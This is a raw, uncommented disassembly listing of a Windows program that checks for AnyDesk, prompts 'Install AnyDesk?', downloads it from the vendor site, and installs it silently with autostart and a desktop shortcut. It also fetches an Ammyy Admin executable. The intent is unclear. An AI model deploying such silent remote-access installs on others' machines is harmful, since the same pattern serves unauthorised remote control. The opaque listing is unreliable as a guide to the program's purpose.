push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0042db1d
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5b1c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5df4]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push dword [0x4a5b1c]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403fb9
cmp edi, 0xffffffff
je 0x403fbd
xor eax, eax
jmp 0x403fc2
mov eax, 1
or eax, eax
je 0x403fdc
push 1
mov eax, 0x49d87c
push eax
push dword [0x4a5b1c]
call fcn.00439cf4
mov dword [0x4a60bc], 0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.Any.exe
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x404033
jg 0x40402f
cmp ebx, 0
jb 0x404033
xor eax, eax
jmp 0x404038
mov eax, 1
or eax, eax
jne 0x404075
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.Any.exe
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
mov edx, str.C:Program_Files__x86_AnyDesk_
lea ecx, [0x4a5af8]
call fcn.00430008
push dword [0x4a5af8]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x4040a2
cmp edi, 0xffffffff
jne 0x4040a2
xor eax, eax
jmp 0x4040a7
mov eax, 1
or eax, eax
je 0x4040bb
mov edx, str.C:Program_FilesAnyDesk_
lea ecx, [0x4a5af8]
call fcn.00430008
mov edx, str.8.0.10
lea ecx, [0x4a5ed8]
call fcn.00430008
mov edx, 0x4a02db
lea ecx, [0x4a5bec]
call fcn.00430008
mov ebx, dword [0x4a6088]
and ebx, ebx
jne 0x40489e
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x40413a
jl 0x404136
cmp ebx, 0x1869f
ja 0x40413a
xor eax, eax
jmp 0x40413f
mov eax, 1
or eax, eax
je 0x4041ca
push edx
call fcn.00444720
pop edx
push eax
push 2
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439fe4
call fcn.004301f0
mov ebx, eax
cmp ebx, dword [0x4a6240]
jge 0x4041ca
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x40421b
jg 0x404217
cmp ebx, 0x1869f
jb 0x40421b
xor eax, eax
jmp 0x404220
mov eax, 1
or eax, eax
je 0x404285
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5af8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404275
jl 0x404271
cmp ebx, 0x1869f
ja 0x404275
xor eax, eax
jmp 0x40427a
mov eax, 1
or eax, eax
je 0x404285
mov eax, 1
jmp 0x404287
xor eax, eax
and eax, eax
je 0x40436c
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
push 1
mov edx, dword [0x4a5af8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042f211
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
call fcn.00444850
mov edx, dword [0x4a5ed8]
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x40436c
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a5af8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043a088
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x4043bd
jl 0x4043b9
cmp ebx, 0x1869f
ja 0x4043bd
xor eax, eax
jmp 0x4043c2
mov eax, 1
or eax, eax
je 0x40489e
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 3
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
push 1
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042f211
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
call fcn.004301d2
add dword [esp], edx
call fcn.00430f80
call fcn.00444850
mov edx, dword [0x4a5bec]
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x404466
jmp 0x40489e
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 3
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
push 1
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042f211
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
call fcn.004301d2
add dword [esp], edx
call fcn.00430f80
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 3
push dword [0x4a5ed8]
call fcn.00430f80
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430200
je 0x40460b
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x4045aa
jg 0x4045a6
cmp ebx, 0
jb 0x4045aa
xor eax, eax
jmp 0x4045af
mov eax, 1
or eax, eax
jne 0x404606
push dword [0x4a6210]
call fcn.0042ddbf
and eax, eax
je 0x404606
push 0x1f4
call fcn.0043853d
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
jmp 0x40489e
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 4
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
push 1
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042f211
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
call fcn.004301d2
add dword [esp], edx
call fcn.00430f80
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 4
push dword [0x4a5ed8]
call fcn.00430f80
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x40489e
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 5
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
push 1
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042f211
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
call fcn.004301d2
add dword [esp], edx
call fcn.00431070
call fcn.004301d2
add dword [esp], edx
call fcn.00430de0
call fcn.004301f0
push edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 5
push dword [0x4a5ed8]
call fcn.00431070
call fcn.004301d2
add dword [esp], edx
call fcn.00430de0
call fcn.004301f0
push edx
pop edx
pop ebx
pop edi
cmp edi, edx
jl 0x4047ad
jg 0x4047a9
cmp ebx, eax
jb 0x4047ad
xor eax, eax
jmp 0x4047b2
mov eax, 1
or eax, eax
je 0x40489e
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x404842
jg 0x40483e
cmp ebx, 0
jb 0x404842
xor eax, eax
jmp 0x404847
mov eax, 1
or eax, eax
jne 0x40489e
push dword [0x4a6210]
call fcn.0042ddbf
and eax, eax
je 0x40489e
push 0x1f4
call fcn.0043853d
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x3c
jl 0x4048bd
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jge 0x4048bd
mov eax, 1
jmp 0x4048bf
xor eax, eax
and eax, eax
je 0x40498d
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x404918
jg 0x404914
cmp ebx, 0x1869f
jb 0x404918
xor eax, eax
jmp 0x40491d
mov eax, 1
or eax, eax
je 0x404988
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.00444850
mov eax, str.http:__download.anydesk.com_AnyDesk.exe
push eax
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0042e066
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0
jne 0x404979
cmp edi, 0
jne 0x404979
xor eax, eax
jmp 0x40497e
mov eax, 1
or eax, eax
je 0x404988
dec dword [0x4a60bc]
jmp 0x404b0f
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x4049de
jg 0x4049da
cmp ebx, 0x1869f
jb 0x4049de
xor eax, eax
jmp 0x4049e3
mov eax, 1
or eax, eax
je 0x404a4e
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.00444850
push dword [0x4a5ad0]
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0042e066
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0
jne 0x404a3f
cmp edi, 0
jne 0x404a3f
xor eax, eax
jmp 0x404a44
mov eax, 1
or eax, eax
je 0x404a4e
dec dword [0x4a60bc]
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x404a9f
jg 0x404a9b
cmp ebx, 0x1869f
jb 0x404a9f
xor eax, eax
jmp 0x404aa4
mov eax, 1
or eax, eax
je 0x404b0f
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.00444850
push dword [0x4a5c88]
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0042e066
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0
jne 0x404b00
cmp edi, 0
jne 0x404b00
xor eax, eax
jmp 0x404b05
mov eax, 1
or eax, eax
je 0x404b0f
dec dword [0x4a60bc]
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..NoAnyDesk
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0
jne 0x404b5a
cmp edi, 0
jne 0x404b5a
xor eax, eax
jmp 0x404b5f
mov eax, 1
or eax, eax
je 0x404b9c
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..NoAnyDesk
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x3c
jl 0x404c49
call fcn.0042fd79
and eax, eax
je 0x404c49
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.0043a0ad
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x404c49
mov eax, 1
jmp 0x404c4b
xor eax, eax
and eax, eax
je 0x405083
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x404c7d
push dword [0x4a5da4]
mov eax, str.NoAnyDesk
push eax
call fcn.00432fd5
mov dword [0x4a5da4], eax
call fcn.0043300a
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5af8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x404cc5
cmp edi, 0xffffffff
je 0x404cc9
xor eax, eax
jmp 0x404cce
mov eax, 1
or eax, eax
je 0x404ce4
mov ebx, dword [0x4a5da4]
cmp ebx, 2
jne 0x404ce4
mov eax, 1
jmp 0x404ce6
xor eax, eax
and eax, eax
je 0x405083
push 4
mov eax, str.Da___Ne__
push eax
mov eax, str.Install_AnyDesk_
push eax
call fcn.00431ac4
mov ebx, eax
cmp ebx, 6
jne 0x40501b
call fcn.00438535
mov ebx, eax
cmp ebx, 1
jne 0x404eb8
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.AnyDesk_Ikona.lnk
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404d6c
jl 0x404d68
cmp ebx, 0
ja 0x404d6c
xor eax, eax
jmp 0x404d71
mov eax, 1
or eax, eax
jne 0x404eb3
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404dca
jl 0x404dc6
cmp ebx, 0x1869f
ja 0x404dca
xor eax, eax
jmp 0x404dcf
mov eax, 1
or eax, eax
je 0x404de4
mov ebx, dword [0x4a5da4]
and ebx, ebx
jne 0x404de4
mov eax, 1
jmp 0x404de6
xor eax, eax
and eax, eax
je 0x404eb3
push edx
call fcn.00444720
pop edx
push eax
push 0
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.00444850
push 0
push 0
push dword [0x4a6108]
mov eax, str.AnyDesk
push eax
mov eax, 0x497021
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.desktopAnyDesk_Ikona.lnk
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.004301d2
add dword [esp + 0x1c], edx
call fcn.0042ca0c
call fcn.004301f0
and eax, eax
je 0x404eb3
mov dword [0x4a5da4], 1
jmp 0x40500f
push dword [0x4a5ee4]
mov edx, 0x497021
pop ecx
call fcn.00430180
je 0x404fc9
push edx
call fcn.00444720
pop edx
push eax
push 1
push dword [0x4a6108]
mov eax, str.___install__C:Program_FilesAnyDesk____start_With_win___create_desktop_icon___silent
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00432529
call fcn.004301f0
and eax, eax
je 0x404fc7
push 0x3e7
call fcn.0043853d
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5af8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x404f74
cmp edi, 0xffffffff
je 0x404f78
xor eax, eax
jmp 0x404f7d
mov eax, 1
or eax, eax
je 0x404fc7
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6108]
mov eax, str.___install__C:Program_FilesAnyDesk____start_with_win___create_desktop_icon___silent
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042c306
call fcn.004301f0
jmp 0x40500f
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6108]
mov eax, str.___install__C:Program_Files__x86_AnyDesk____start_with_win___create_desktop_icon___silent
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042c306
call fcn.004301f0
mov dword [0x4a5da4], 0
jmp 0x405025
mov dword [0x4a5da4], 1
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x40504a
push dword [0x4a5da4]
mov eax, str.NoAnyDesk
push eax
call fcn.0043301c
call fcn.0043300a
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.AnyDesk_Ikona.lnk
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x4050d4
jl 0x4050d0
cmp ebx, 0x1869f
ja 0x4050d4
xor eax, eax
jmp 0x4050d9
mov eax, 1
or eax, eax
je 0x405187
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043a0ed
call fcn.004301f0
and eax, eax
je 0x405187
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5eb8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x4051d8
jl 0x4051d4
cmp ebx, 0x1869f
ja 0x4051d8
xor eax, eax
jmp 0x4051dd
mov eax, 1
or eax, eax
je 0x4051f4
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jl 0x4051f4
mov eax, 1
jmp 0x4051f6
xor eax, eax
and eax, eax
je 0x4052a0
push edx
call fcn.00444720
pop edx
push eax
push 2
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439fe4
call fcn.004301f0
mov ebx, eax
push 0
push 0
push 0
push 0x1a
push 9
push 0x7e4
call fcn.0043c79f
cmp ebx, eax
jge 0x4052a0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jge 0x4053a8
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x405301
jg 0x4052fd
cmp ebx, 0x1869f
jb 0x405301
xor eax, eax
jmp 0x405306
mov eax, 1
or eax, eax
je 0x4053a8
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.xp_ammyy.exe
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0042e066
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0
jne 0x405387
cmp edi, 0
jne 0x405387
xor eax, eax
jmp 0x40538c
mov eax, 1
or eax, eax
je 0x405398
dec dword [0x4a60bc]
jmp 0x4053a8
mov edx, str.ammyydownload
lea ecx, [0x4a5c50]
call fcn.00430008
mov dword [0x4a5b0c], 0
mov edx, 0x497021
lea ecx, [0x4a6094]
call fcn.00430008
mov dword [0x4a5c4c], 0
mov dword [0x4a6230], 1
mov dword [0x4a5c08], 1
mov dword [0x4a5a90], 0
mov dword [0x4a5a94], 0
mov dword [0x4a605c], 0
mov edx, 0x497021
lea ecx, [0x4a6124]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5cb0]
call fcn.00430008
mov dword [0x4a6214], 0
mov dword [0x4a5cf4], 0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jge 0x405448
mov dword [0x4a5c4c], 0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jl 0x40546a
call fcn.0042cfd2
mov ebx, eax
and ebx, ebx
je 0x40546a
cmp dword [0x4a5f90], 0
jne 0x40546a
jmp 0x405471
mov eax, 1
jmp 0x405473
xor eax, eax
and eax, eax
je 0x405481
mov dword [0x4a6230], 0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.desktop_bios_up.lnk
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x4054c9
cmp edi, 0xffffffff
je 0x4054cd
xor eax, eax
jmp 0x4054d2
mov eax, 1
or eax, eax
je 0x405543
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x405533
jl 0x40552f
cmp ebx, 0x1869f
ja 0x405533
xor eax, eax
jmp 0x405538
mov eax, 1
or eax, eax
je 0x405543
mov eax, 1
jmp 0x405545
xor eax, eax
and eax, eax
je 0x405644
push edx
call fcn.00444720
pop edx
push eax
push 0
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.00444850
push 0
push 0
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.00444850
mov eax, 0x49ccfc
push eax
mov eax, 0x497021
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
